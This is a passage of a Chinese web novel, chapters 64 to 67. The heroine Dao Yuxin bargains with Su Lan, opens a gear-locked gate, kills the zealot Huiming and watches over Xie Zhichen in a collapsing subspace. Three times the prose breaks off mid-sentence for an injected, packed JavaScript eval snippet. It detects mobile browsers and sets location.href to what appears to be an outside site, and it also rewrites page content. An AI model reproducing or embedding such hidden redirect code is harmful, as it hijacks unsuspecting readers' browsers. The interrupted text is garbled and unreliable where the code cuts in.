他们一起在黑夜中行走,很快就抵达封锁的第九扇大门前,其他被困在亚空间中的人也都聚集在这里。 “你终于来了!”雪姬早在营地等待已久。 “你没事吧?”听到刀语心这话的雪姬只是摇摇头,她抬眼看见刀语心身边站着的谢止沉,小心翼翼地来到刀语心的另一侧面。 相比那些进展不顺脸色惨白的人们,刀语心将视线移到站立在中央面色平和的女性身上,她的发丝被荆棘链挽起最终连接在绽放的蔷薇花发饰上。 看着那朵蔷薇刀语心神色微怔,她知道,对方也是为她而来。 注意到她的视线,那人转过身迈着步子径直朝刀语心走来,话语带着笑意传入她的耳中: “你好,我是苏岚。” 64. 第 64 章 “好久不见。”苏岚先和刀语心打完招呼,才收起笑容将视线移到她身旁的谢止沉身上。 见此情形刀语心也有判断,他们认识,那苏岚大概率也来自其他世界,也只有这样才能在危机下屹然不动。 “我可以和你单独聊聊吗?”苏岚朝刀语心询问。 想到罗茜的特意假死和公会本源之力检测,刀语心将自己在路上获得的资源交给谢止沉分配,跟着苏岚来到远离人群的另一面。 “他还真是盯得紧呢。” 感受着身上的视线苏岚如此感慨,刀语心自动理解为这是谢止沉在担心同伴的安危。 自我介绍大抵不需要,对方很显然掌握她的情况,刀语心的异化之力连裴瑛都没有告诉,苏岚和罗茜却知晓。 “所以罗茜和你同属一个势力,之所以假死也是你的安排?” “没错,我们做了点小小的利益交换,我帮她摆脱监视而她为我工作,我还取了个名字,荆冕秘苑,你觉得如何?” “有点拗口。” 听到这个回答的苏岚只是浅笑,“那就直接称我们为秘苑好了。我想,你应当是不知道自己为什么会来到这个世界。” “你会告诉我吗?” “我给你讲个故事吧。” 一群蚂蚁的家园被毁灭想要过河寻找新的居所,但无论使用什么办法都无法抵达对岸,于是它们只能祈祷,于是一根枝条自地下生长,为它们搭建起桥。 一开始抵达对岸的它们十分喜悦,但很快它们发现这里有一个水洼并不适合它们。 于是它们祈求新的桥梁。 如此循环往复,它们的祈祷再没有任何回应,愤怒的蚂蚁们抢走一枚深海中的种子,让其不断生长,成为巨树为它们搭建跨越一切的桥梁。 在不断迁徙的途中,有更多的蚂蚁加入,更有甚者对桥梁起了别样心思。 “如果我也能如此高大就好了。” “为什么不行呢?” 于是参天大树被蚂蚁毁灭并取而代之,但很快蚂蚁们发现它们和树有着本质区别,尤其是最初的大树,即便是其他种子也无法替代的存在。 于是它们将目光投向海域中仅剩的种子。 “也就是我?” 听到反问的苏岚笑而不语,她移开目光岔开话题:“讲述者不同故事也千差万别,我只能告诉你这枚种子的结局是遗落,没有被任何蚂蚁得到。” 那么,苏岚也是蚂蚁中的一员吗?刀语心能感受到她对自己并没有占有欲。 “我只是一个无足轻重的见证者。”苏岚的眼眸中倒映着不远处的火光,她收敛笑意时整个人散发着一股不容违抗的上位者气息。 “出于私心,我不希望那些蚂蚁如愿。它们太愚蠢了,不是吗?” 刀语心没有回答这个问题,而是反问道:“你的目的是什么?”她想知道苏岚到底想从自己身上谋求何物。 “杀死那些蚂蚁,它们太过碍眼。作为交换,我会给你提供我能提供的一切。” 委托,但不是锻造委托。听起来是一本万利给她选择,但刀语心其实没有拒绝的机会,其一是对方太了解自己,风险太大,其二是如果再增加新的敌人她会力不从心。 至于其三?她也想杀死那些蚂蚁。 “没问题,我接受这份交易。” “合作愉快。”苏岚笑着伸出手,刀语心与她握手示意,收回手时刀语心掌心中多了一张图纸。 “一点礼物,以及作为合作方的善意提醒,无论是这亚空间的其他人,还是你身边的人,都有一定程度上的危险。” “谢谢,我知道了。” 听着这干脆利落的答复苏岚明白,刀语心没有注意到她意有所指的危险——谢止沉。 又或是刀语心早就明白,只是她选择纵容。 视线中那两道逐渐靠拢身影,见此苏岚只是在心中微叹,是她失算没有选好时机,她来晚了。 夜晚大部分人都在休息,只是也有人睡不着和谢止沉简单交谈一番。 “他们之中还有五个人没有回来。”除了沈辞和慧明,还有一支三人小队在外搜寻生存资源。 外出五人留守五人,分工明确还能轮换,现在唯一的难点是第九扇门怎么打开还没有头绪。 “门在那里。”顺着谢止沉的目光看去,刀语心看见被藤蔓缠绕的门扉,在夜色下有些不起眼不过雪姬的白色身影作为路标倒正合适。 见到刀语心过来,雪姬将自己的观察告诉她:“没有把手,但是有很多齿轮孔。” 闻言,刀语心只是把手抬起覆盖在表面发动解析技能,随着力量延展覆盖在整个门框,她“看”见了里面构造精妙一环嵌一环的无数齿轮。 “解谜游戏。”刀语心给出总结。 “那些散落在各处的资源箱中有各式各样的齿轮。”说着谢止沉就用流光把齿轮拿到刀语心面前。 将那些形状各异的齿轮放在手心,刀语心分辨着各自用处。 门上有许多用于填充的齿轮,有些是正确的但大部分都是错的,在刀语心准备将错误更正时,看见她这一举动有人急忙跳了出来。 “喂!你在做什么?你凭什么随便乱动我放上去的齿轮!”他想上前质问刀语心,但被谢止沉拦下。 对于莫名其妙的人刀语心没有给予理会,她只是专心把那些错误的全部剔除,再一个个将正确的齿轮放置其中,每个齿轮运动轨迹在她脑海中演算推进。 “哎呀,不是不尊重你的劳动成果,只是既然你打不开不如让别人试一试不是吗?”雪姬在一旁弱弱补刀。 “呵,齿轮型号是不齐全的,我倒要在这里看看她怎么打开?”说着这人就一屁股在不远处坐下,死死盯着刀语心的动作。 缺少零件即便成功也无法验证,戴着帽子一副精明算计做派的小心眼男子就在这里等着看刀语心的笑话,他们耗费这么多天时间无法打开的门,他才不相信眼前这人能成功打开。 “哼,是不是找不到能对上的齿轮了?我早就说过……” 利器破风声响起,男子额头一凉,他回头一看自己的帽子被铁片钉在远处。 “闭上你的嘴,我会把门打开。” 那些多余的齿轮已经被刀语心熔化,铁片便是其中的边角料,她已经测量好最后一个齿轮需要的内外圈半径,只需要最后雕刻就可以成为大小完全合适的零件。 陪在她身边的谢止沉只是默默施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915794|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展法术提供光亮。 不多时,齿轮就雕刻完毕。 刀语心抬手将这枚齿轮嵌入门上最后空隙,无数相互嵌合的齿轮开始连带转动,一阵轰隆隆的响声后,所有人都投来视线,只见一直拦着众人的第九扇门没入地下。 还没等到白天,门就被刀语心打开了。 “看懂了吗?”刀语心语调平静地问,但听到这话后对方急得跳脚。 “不就是运气好罢了!”他自欺欺人,不愿意承认刀语心的所作所为才是开门关键。 对此,刀语心和谢止沉都不打算分丝毫视线给那人,只有雪姬装作无辜地与其对视。 “怎么不见你运气这么好?你好像比我们多来这里一个月吧,来第九扇门也有一周多了,还是说你之前做过什么突出贡献?据我了解,好像也没有吧。” 虽然通篇没有任何贬低,但那人还是从雪姬的眼睛中读出四个字:自取其辱。 天还没完全亮,现在刀语心也已经和谢止沉会合,没有后顾之忧刀语心也就不再急着赶路,打算先吃点东西补充体力,之后的路途中会遇到什么还是未知。 她在另一片空地点起篝火。 身为后来进入亚空间的三人总归和之前几人有一定距离感,苏岚是面上和煦但是周围没有任何人存在,剩下刚才那找事男子在门边探头探脑,其余三人在抱团休息。 营地有食物但都是其他人带回来的,好在刀语心和谢止沉在一路上都有收集散落的资源,谢止沉空间中也有其余为刀语心准备好的食材只是刀语心没胃口让他不用麻烦。 然而麻烦并不会就此消失。 刀语心将烤好的食物递给雪姬,“谢谢姐姐~” 听见这故意甜腻嗓音的谢止沉眉头直接皱起,恰在此时,刚才那人又不怀好意地走近发问。 “你们的食物是哪来的?” 看着手中的食物,又看着这人,雪姬怒而回怼:“你到底要怎么样才能不没事找事啊?” “谁知道你是不是拿的我们的食物?”那男子咄咄不休。 “你差不多得了。”同伴也在这个时候制止他,刀语心能解开第九扇门对他们来说已经是天大的好事,大家都心怀感激,只有他在一直找对方麻烦。 “喂!我才是和你们同甘共苦这么久的人好吗?” “同甘共苦?你的意思是把其他人当垫背自己逃出来,我和你这种人同甘共苦?”挤压许久的怨气借由此刻爆发。 “我才不要和你这种人一起去死!我的爸爸妈妈,我的妹妹,他们都还在等我回家……”带着哭腔的控诉传入在场每一个人的耳中。 “都说了不是我的错,还有你……”那人转向刀语心似乎还想再说什么。 “再多嘴就去死。”谢止沉抬眼,那双暗红眼眸盯着对方,他没有展露任何攻击手段,但那种铺天盖地的杀意除了在他身旁的刀语心谁都能察觉并被压制。 “我还没见过你攻击性这么强的时刻呢。”苏岚恰在此时入场将紧张的氛围稀释,“天快亮了呢,不过再等一会吧,莉莉安还没有回来。” 至于沈辞和慧明?已经人未到声先至。 “真不愧是救世主啊,就这么一小会你就把门打开了?” 65. 第 65 章 察觉到氛围有些不对的沈辞先一步去安抚同伴。 而慧明已经几步不请自来把雪姬准备给刀语心吃的抢了,看着手中消失的食物雪姬猛地扭头大声质问:“喂!那是我烤给姐姐的!” “哟哟哟哟哟,怎么?就不能烤给你哥哥我?” “你、谁、啊!”雪姬向来惨白的脸被气得生出几分血色,“赔我吃的!” 趁此机会,谢止沉将手中烤得正好的食物递给刀语心。 “你呢?”刀语心记得谢止沉也什么都没吃,她原本打算下一个就烤给谢止沉。 “我不饿,待会再吃。”他才不是在等刀语心亲手给他吃的。 有沈辞介入先前诡异氛围逐渐被消解,在暂时解决同伴的问题后,他朝刀语心几人所在走来。 早在看到沈辞出现的那一刻,谢止沉本不舒展的眉目更是蹙起,直到刀语心将食物给他后才舒展开来,只剩眼底的暗沉在不着痕迹地审视对方。 如同恶龙在守护自己的珍宝。 简单介绍后沈辞就向刀语心表达谢意,“他们大多数都是普通人,这一个月在亚空间中大多都被折磨得神志不清,能解开困扰我们许久的第九扇门真是帮了大忙,实在是万分感谢。” 对此刀语心只是简单答复道:“不必客气,我也要出去。” “也不知道第十扇门会是什么景象……”沈辞心中也有忧虑,只是他藏得更深些。 随着时间流逝亚空间中也即将昼夜交替,在虚假日光洒落大地之前,他们也等到一直未归的队员。 “岚姨,我回来了!”一句动听的语调传入刀语心耳中,她似乎在哪里听过。 短暂交谈后对方迅速来到刀语心身边:“是你打开的第九扇门吗?你好厉害!真是多亏你了。” 另一边在迫使慧明偿还自己的损失后,雪姬刚一转头就发现属于自己的位置被人抢了,她咬着嘴唇走到刀语心面前。 “姐姐,她是谁?”雪姬可怜兮兮地看着刀语心。 “你好啊,我是莉莉安。”粉发少女如是说。 “我是刀语心。”看着对方明亮的眼眸,刀语心想起自己在混乱之地雨夜中听到破旧收音机中传来的歌声,莉莉安就是歌者。 大抵是年龄相仿莉莉安一直和雪姬聊天,只是刀语心发现雪姬对莉莉安是完全的手足无措。 一番简单沟通后,日光也将大地全部照亮。 “既然人到齐了,那就出发吧。”苏岚开口说道。按照之前的经验,最好就是分开收集进门所需要的资源,不然会耽误太多的时间。 莉莉安拉着雪姬一路,白发少女朝刀语心投向求助目光,但被谢止沉刻意挡下。 信息断层的刀语心和雪姬挥手告别。 在所有人跨进第九扇门后刀语心似有所感般回头看去,远处的景象还在不停消失在视线中,而且速度似乎变快了,而其他人……似乎对此一无所知? 见刀语心这番举动的沈辞只是对她默默摇头示意,一些人无法承受这样的精神高压。 他们只能不断向前抵达尽头,才能避免世界崩塌。 与人群分开后刀语心二人一路搜寻着散落的资源,有谢止沉在搜集并不困难,唯一的疑点就是刀语心总感觉到有一股若有若无的视线落在自己身上。 她转头向谢止沉看去,那双暗红双眸中拥有和她一样的疑虑。 就在下一刻,他们面前出现一阵不同寻常的能量波动,平息之后一个幼小身影出现在二人面前,一个小男孩。 这样的出场方式,刀语心明白对方绝不像表面一样人畜无害,她只是唤出灭灵剑将其握在手中。 “我出现在这里的目的是想让二位离开。”稚嫩声音和不同寻常的对话显得十分割裂。 “为什么?” 小男孩没有回答刀语心的问题,只是继续自说自话:“我可以给你们想要的奖赏,但代价是请你们离开亚空间。” 他们拥有灵魂绑定的最高权限密钥。让这里的亚空间意识无法不顾他们的意愿将他们驱逐出去。 但刀语心并不知晓权限的存在也不知道如何运用,只不过从如此不合常理的要求足以推出对方有着其他不为人知的目的。 听起来是个不错的买卖,毕竟亚空间中的人包括雪姬都和刀语心没有多大关系,至于那位新的合作对象苏岚,刀语心觉得她自有办法明哲保身。 所以—— “我拒绝,我会自己得到我想要的东西。”刀语心不需要这种不明施舍。 听到这样的回答小男孩脸上浮现出阴沉,天真明媚的脸庞和这份神情完全割裂,也让刀语心更加确信对方目的不纯。 “不知好歹。”撂下狠话后对方就消失无踪。 “他是亚空间意识的拟态?”亚空间中也只有亚空间意识能这样随心所欲。 “对,我也是第一次见有愿意当人的亚空间意识。” 亚空间意识和邪魔一样都属于能量体并不具备生命体的构成条件,但对方偏偏选择化作一个人类小男孩的模样在二人面前现身。 已知信息不足无法推断出对方目的,刀语心只能先收集好资源赶去第十扇门和众人会合。 与之前被藤蔓缠绕略显破旧的第九扇门不同,第十扇门足足有一整面墙壁那么高大,显得十分壮丽华贵。 只是那大理石铸成的门框光滑完美,没有任何一丝可以操纵的痕迹,也就无从下手。 其他人还未抵达线索也无法连成片段,刀语心先上前尝试解析。 随着技能发动,只有刀语心可见的脉络以她手掌为原点不断向周围扩散,只是光是表面还不够,还要持续向内延伸探索。 持续施展技能的代价就是法力值快速减少。 身为锻造师刀语心很少会有耗费如此多法力值的时刻,只是解析一时半会她的法力值就被耗费得所剩无几。 而且一番尝试下来她毫无收获。 无论如何她都无法看清其中构造,仿若这不是门,而是一堵不知尽头的石墙。 是她的问题,还是这扇门的问题?要验证这个答案需要更多的法力。 她闭眼尝试调动自己的异化之力,想和祭司一样将其转化为法力值,只是始终不得诀窍。 “用我的吧。”谢止沉上前来到刀语心身旁牵起她的手,同一时刻刀语心感受到源源不断的法力输送到自己体内,她没有浪费时间随即开始深入探寻。 但得到的答案和先前相似,里面空无一物。 也就在这段时间内其余人也纷纷来到第十扇门,“你发现什么了吗?” 面对那殷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927891|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切期盼的目光刀语心无法将自己的推断说出口,亚空间意识大概从一开始就不打算让人离开。 “暂时没有。”希望是宝贵的,尤其是在被绝望包围的时刻她做不到将其摔碎。 “说不定是要我们直接破开呢?”说着慧明就朝石门挥出一拳,但随即被反震出几米远,由此见得武力也不是解决办法之一。 看着身旁陷入思考面色不善的刀语心,谢止沉明白刀语心的目标是离开亚空间拿到报酬,即便他很想无时无刻不留在刀语心身边,但他明白自己更应该帮助她找到解决办法。 雪姬和莉莉安那一组还没有回来,以及还有一些遗漏的资源导致线索不齐全,也不知道是不是路上遇到什么危险,苏岚打算去寻找她们。 “走吧,我们一起。”苏岚有话想和谢止沉说。 “路上小心。”刀语心交代道。 其余留在原地的人们都聚在一起拼凑细碎的线索,距离安全离开只差这最后一步也难得齐心协力起来。 “我倒是没料想在这里会遇见你,旧日的神主。”预言是个很便捷的能力不过苏岚向来不喜,她更喜欢推测而不是直接得到答案。 “不过见到我你似乎并不意外?” “你想说什么。” “你在她身边有什么目的?” “我的目的……自始至终都是她。”听到这个问题,谢止沉一瞬间涌起许多过往记忆。 “这个世界大多数外来者都是为她而来,当然也包括我在内,但和你们不同的是我从未打算利用她,我也不奢求从她身上得到什么。” 或许在某些时候他也希望从刀语心身上得到什么,他不否认自己的卑劣,但就目前而言只要能陪在刀语心身边每天能见到她,谢止沉就已经很满足了。 找到她,然后陪着她。 至于时限? 直到时间的尽头,物质与精神世界的全数湮灭。 走到亚空间坍塌的边缘,似乎是因为察觉二人到来崩塌速度变得更快。 “开始加速了呢,保护好你的小救世主吧。”说完苏岚转身离开,她得去找莉莉安她们。 “她不是救世主,也不需要我的保护。” 等到法力值恢复,刀语心重新来到石门前抬起手,她这次不再大范围解析而是专注一点无限延长。 象征解析的细线在石门中不断深入,越深入一分,刀语心的猜想就越被印证。 如果从一开始问题就是错的,那么无论如何都求解不出正确回答,这样一直下去只是再做无用功。 细线随着手掌从石门上离开而抽离中断,刀语心不打算再解析,她要寻找新的出路。 “所以,救世主,你找到什么有趣的东西了吗?”边朝刀语心走去,慧明边缠绕着自己的佛珠,只是一个用力原本用来连接的绳子就被扯断。 沉浸在思绪中的刀语心并没有注意到慧明的眼睛已然变得血红,以及黑色斜十字浮现其中。 杀意从无到有的那一瞬间,刀语心本能侧身,但依然传来灼热痛。 □□朝她袭来侧开躲避但左臂被波及有些麻木,刀语心面无表情抬手擦去嘴角血迹,她看着那双熟悉的血红瞳色,看着慧明咧开嘴角。 “那就让我看看,身为救世主的你能不能拯救自己吧。” 66. 第 66 章 “你干什么!” 见到刀语心受伤有同行之人朝慧明指责,但回应她的只有攻击,先前一直找事的那人眼疾手快拉开她才免于受伤。 “慧明?你做什么?”沈辞不解质问,身为预言家他并没有太多实质战斗力,其余几人也都是普通人,有战斗力的人都在外搜集线索。 正因如此慧明才敢现在就发起进攻。 他本想在昨夜初见时分就动手,但未曾料想刀语心竟然不和他们一路离开,于是只能等到现在。 “怎么了大预言家?你难道没预言过救世主会遇到危险吗?我啊,就是救世主前进道路上的绊脚石之一。”从一开始慧明就很在意救世主这个称呼,约莫是觉得刀语心不配。 “救世主?哼,成为神明大人的祭品,再合适不过。” 说着他再次甩出佛珠进攻,不过这次在爆炸前就被刀语心直接切成两半。 “你们这些该死的东西还真是阴魂不散。”几次三番被刻意袭击,刀语心也心生烦躁。 是她大意了,刀语心本以为进入这个亚空间只是一场意外,但没想到是他们为了杀死自己蓄意为之。 这些被神令引来的鬣狗,从他们的只言片语中刀语心明白他们都想杀死自己献给神明。 她不会让他们如愿,死去的只会是他们。 转瞬间异化之力以刀语心为原点四散铺开,黑水迅速朝着慧明逼近的同时从黑水中冲出一道道能量想用于束缚慧明,但被数枚佛珠毁去。 灿烈至极的金光将黑暗覆灭,也为慧明在遍地黑水中炸出一个可以自由活动的空间。 慧明所持的佛珠共有一百零八颗,往日都是起到一个增幅作用,但如今为了杀死刀语心也是下了血本,丝毫不心疼地消耗佛珠朝她发起猛烈攻势。 但终究是有限度的,双方都明白这一点,慧明打算速战速决。 他朝刀语心撒出一把佛珠,她控制着异化之力撑起防线,但转眼间慧明就离开安全区域朝着刀语心攻去。 凌厉的拳风破开黑色屏障朝刀语心袭来。 她提起灭灵剑用剑身硬生生挡下这一击,但随即更快的攻势袭来,这一次不再是拳而是手掌,金光掠过慧明皮肤表面让掌心短暂坚不可摧。 他握住灭灵剑就想将其折断,只是他接触到附着在表面的异化之力时就被侵蚀,异化之力的吞噬特性在他的皮肤上烙出一个缺口,让他不敢再继续。 这么近的距离是慧明的优势,但刀语心也并不是只能一味防御。 从地面涌出无数攻击作为掩盖,刀语心最终目的是那些增幅用佛珠,佛珠既是武器又能增幅慧明的拳法,还能随时随地爆炸有些太过棘手,与其让对方控制着干扰自身不如先一步将其全部毁灭。 既然是武器就有形体,就具有物质构成,便能解析熔炼化作废铁。 异化之力的侵蚀加以刀语心锻造师技能熔炼术,二者相辅相成,在接触的一瞬间就将佛珠内部毁灭。 千钧一发之间慧明没有心疼那些已经被侵蚀即将熔化的佛珠,而是当机立断拉开距离使用更多的佛珠在刀语心周围爆炸。 即便有心提前防御,但爆炸依然给刀语心皮肤带来些许烧灼的痛感。 被打偏的佛珠在旁观者面前炸裂开来,也引得慧明的视线转移,沈辞看着那双遍布血红的眼当即让所有人四散离开,免得被慧明当作要挟刀语心的筹码。 那双毫无波澜的深黑眼眸看着慧明身上的佛珠,还剩四十六颗,刚才那样的爆炸最多再引发两次。 一时之间慧明也再对刀语心束手无策,他不敢太靠近刀语心害怕佛珠被全数侵蚀,但若不靠近出拳只依靠佛珠炸裂他也无法将刀语心置之死地。 血红的目光扫向正在逃走的人群,他朝每人身后都射向一颗佛珠。 紧接着刀语心抬手,黑洞自她身后出现,从中涌出无数黑色丝线将在空中移动的佛珠全部纠缠割裂,慧明眉头一皱,他知道自己只剩最后的机会。 还剩下最后三十九颗。 震开脚下的黑水,慧明猛然拉近自己与刀语心的距离,全然不在乎这么近爆炸连他自己也会身受重伤。 剩下的三十颗不再只是爆炸,而是悬浮在刀语心四周形成某种禁锢延缓行动并同时不断散发出耀眼金光,刀语心被光线刺痛得无法睁眼。 情急之下抬手抵挡迎面而来的拳头,只是一击便将护臂击碎。 遮天蔽日的黑将一切吞噬,悬于半空的佛珠全都吞噬,但刀语心不敢掉以轻心,她朝慧明所在看去却心头一紧,先前还在慧明手腕上的最后九颗佛珠不见踪影。 它们在自己身后。 “雪姬!”耳边传来莉莉安的惊呼声。 侧身转过身的刹那间,刀语心只看见一道雪白身影为自己拦下她没有来得及阻拦的剧烈爆炸。 血色弥漫,雪姬倒在刀语心的怀中,她张嘴似乎想说什么,但再无力气发声。 那双脆弱的淡红色眼眸看着刀语心,似乎是在害怕刀语心责怪自己多此一举,但刀语心只是快速拿出治疗卷轴撕开,让治疗的光束覆盖在雪姬身上。 “好好休息吧,我会杀了他。”刀语心推算过自己可能会受伤,但她没有料到雪姬会出来帮她挡下伤害。 将雪姬交给莉莉安后,刀语心提剑转身。 “所以身为救世主的才能就是让别人心甘情愿地为你赴死吗?”满是嘲讽的声音响起。 “我从不觉得我是救世主,我只觉得,你才是该去死的东西。” “岚姨,刀语心小姐她……”怀中抱着昏睡过去的雪姬,莉莉安有些担忧地抬头问道。 “放心吧,她可是‘救世主’呢。”苏岚回应着这份不安,如果这种程度的危机都无法解决,那刀语心也不配成为她的合作者,就让刀语心展示自己的能力给她看看好了。 面对两人之间愈演愈烈的战斗,苏岚只是抬手撑起一道屏障隔绝两边,不让战斗余波伤害到其他人。 将一百零八颗佛珠耗尽后,慧明先前的优势荡然无存。 而刀语心的报复却更加致命。 失去佛珠的加持,即便慧明的拳法不差但在长久战斗后很难无限制抵御利刃进攻,不过片刻慧明身上已经满是血痕。 他咆哮着超刀语心挥出拳,但充满杀意的攻击在半路中断。 他想要出拳的手臂被异化之力束缚,慧明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15937339|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能看着闪着冷光的刀剑刺入自己的心脏,他嘴角溢出鲜血,感受着自己生命的流逝,只是他依然在笑。 “我失败了……但你也别想活着出去!” 说完,慧明化作一道不祥的血色红光冲向天际,他不愿死在刀语心手中在生命的尽头将自己献祭给神明,血红色在天空中掀起波澜,随即一阵地动山摇甚至让人无法站立。 亚空间的崩塌再次加速。 这无疑给存活的人们增添更多的恐慌,连接石门的巨大围墙上也掉落下石块,刀语心先一步用异化之力保护着无法移动的雪姬不受伤害。 一片混乱间谁也不知时间过去多久后,灾厄缓缓平息,但谁也不确定是否会再次到来。 “他们到底是什么人?”收起异化之力后刀语心看向旁观已久的苏岚。 “狂信徒。”苏岚的神情依旧平静,只是在想起什么后发出一声嗤笑,“神明的追随者,一群盲目无知被洗脑的可悲凡人。” “谢止沉呢?” “你很担心他。”苏岚看得出这二人彼此之间的情谊并不一般,“那就自己去看看就好了。” 确认雪姬的伤势已经稳住还有莉莉安在她身旁持续治疗,确认无误后刀语心朝着谢止沉离开的方向奔去。 她有些心急。 从一开始进入亚空间刀语心就知道亚空间一直持续不断地坍塌,但此刻危机平息位于中心的众人毫发无损,绝不可能是亚空间意识心软放过他们,只有一种可能,谢止沉做了什么。 只是即便亚空间范围持续缩小,其中范围还是有些宽阔,她抬起手腕想让流光带她去寻找谢止沉。 但向来了解刀语心需求的流光此刻在一动不动地装死。 “带我去找他。”听到刀语心声音后赤红流光发出些许光亮,可依然没有为刀语心指明方向。 看着流光的异样刀语心也明白恐怕这是谢止沉的指令,他不想让流光带着她去找他,但为什么?她现在很想见他,任何问题都不该成为他们之间的阻碍。 站在原地刀语心看着远处空间边缘的坍塌停止,亚空间中一切异动化为平息,她无法想象谢止沉为此付出多少代价。 她放下手腕,深吸一口气,开口说道:“谢止沉,带我去找你。” 在亚空间某处,听到这话的谢止沉只是一愣,灵魂深处传来的震颤让他一时之间不知所措。 她知道,她一直以来都知道。 她知道流光不仅是用来引路和保护,她知道流光可以传达自己的话语,她知道他的卑劣,更知道那些无法言说的心思。 这何尝不是一种默许,她的同意,她的纵容。 他不愿意让刀语心见到自己狼狈的一面,但她早就知道自己不是完美无缺的圣人。 耗费太多力量的谢止沉没什么力气,他靠着墙壁蜷缩着自己的身体,指尖微颤着捂住自己的胸口,在那里他的心脏正前所未有的剧烈跳动。 那双璀璨夺目的赤红双眼中只剩一种劫后余生的欣喜。 此时此刻,刀语心在乎的只有他的安危。 谢止沉不再禁止流光为刀语心指引,他知道,无论如何刀语心一定会来寻找自己。 67. 第 67 章 有流光指引,刀语心一路奔向谢止沉所在。 她急切地想要确认谢止沉的安危。 听见迫近的声响感受着距离的缩近,谢止沉望向洞口的目光有些期盼同时也怀揣着不安。 在混乱思绪交织间,心心念念的人影已经逆光而行快步来到他的面前。 “脸色怎么这么差。”手指抚上那惨白的面庞。 看着那双向来空无一物如死水寂静的眼眸中浮出明晃晃的担忧,谢止沉一时之间不知该如何是好,他既开心刀语心担心他,又有些愧疚让她忧心于自己的安危。 “我……没事的。” 压制力量的同时又要制止整个亚空间崩塌,这让谢止沉耗费太多心力,短暂陷入虚弱状态。 “休息一下就好了,不用担心。”他挂起笑容说道。 但谢止沉安抚性质的微笑在刀语心眼中就是在强撑。 密密麻麻的细碎情绪持续在心中涌动,她只恨自己没有拥有足够的力量能在短时间内解决一切灾祸。 她低垂着眸色,无言陪在谢止沉身边守护着他。 如果不是她想要留下来拿到报酬,说不定谢止沉就不会落得此刻的下场,先前慧明的话语刀语心并没有忘记,反而记得清清楚楚。 她的成功难道真的就要身边之人牺牲吗? 即便雪姬和谢止沉都没有大碍,但她依然不愿意看到他们因为自己身处险境,因为自己而受到灾祸,这样的她怎么可能会是救世主,说是灾星也不为过。 察觉身旁之人情绪不高,谢止沉只是牵起刀语心的手。 他轻声说道:“不用因此自责,这是我的选择,从一开始我就做好承担这份后果的准备。” “你不是救世主,不需要将一切视为自己的责任。” 听到这话的刀语心转头看向谢止沉,发现对方一直在温柔地注视自己。 “我也想帮上你的忙,而且这是我的一厢情愿,即便没有我制止亚空间崩塌,我相信你也一定能自己解决这些危机。” 只是谢止沉不愿看到刀语心如此劳累,更不希望刀语心成为救世主。 背负无数不切实际的期望,她会累的。 “安心休息吧,无论发生什么,我们都会一起面对。”他带着笑意眸色认真地说道。 “嗯。”刀语心露出一个真心实意地浅笑。 将视线从那双比宝石更加璀璨的赤红眼眸上移开,刀语心靠着墙壁闭眼休息,也只有在谢止沉身旁她才拥有沉稳入睡的能力。 半梦半醒间,她沉浸在那些无法捉住的梦境片段中,某种温热的气息悄然靠近触动感官知觉,一个轻吻如蜻蜓点水般落在她的脸颊。 是她的错觉? 这一点小小的插曲让她没有刻意区分究竟是梦境还是现实,直到嘴唇上传来的温热触感彻底将她的清梦扰乱。 垂在身侧的手指微动,也代表刀语心彻底意识到这不是梦境,而是正在发生的现实。 脑海中思绪交相裹挟,出于种种原因刀语心没有睁开双眼,她选择维持自己陷入沉眠的假象。 没有视线传来画面她也就无法捕捉到谢止沉的动向,让刀语心更无法预测他接下来还要做什么,无法预见的未知带来更多紧张。 直到肩头传来些许重量,让刀语心明白谢止沉不再会有下一步动作。 这也让刀语心松一口气,幸好只是浅尝辄止,不然刀语心不确定自己还能不能继续伪装下去。 心中思绪复杂,她明白自己这是在逃避。 在将三重荆棘构成的诅咒彻底从她心脏上驱逐之前,她不敢奢求太多,行走在未知路途的她甚至无法确定自己下一刻的生死,更无法让她回应这份情感并许下诺言。 只是此刻……就让她短暂沉沦好了。 他是卑劣的,她也亦然。 休息时间并没有持续太久,几个小时后二人就启程回到众人所在地。 身为歌者的莉莉安有一定治疗能力但还是术业有专攻,谢止沉施展治疗术式将雪姬还未痊愈的伤势愈合,片刻后她便醒来能够自由活动。 “还有哪里不舒服吗?”刀语心出声询问。 “我很好,谢谢你们。”意识回归清醒的雪姬回应。 其他人在先前那阵震荡平息后就开始拼凑线索,只是无论如何都无法得到一个准确有效的答案。 “这些所谓的线索就像是在逗我们玩一样。” 面对束手无策的状况他们没有陷入绝望之中,不知不觉间他们将离开的希望寄托在眼前之人,也就是刀语心身上。 听到这个回答的刀语心和谢止沉彼此对视一眼,他们明白亚空间意识从一开始就没有留有生路,现在破局的唯一办法就是彻底杀死亚空间意识。 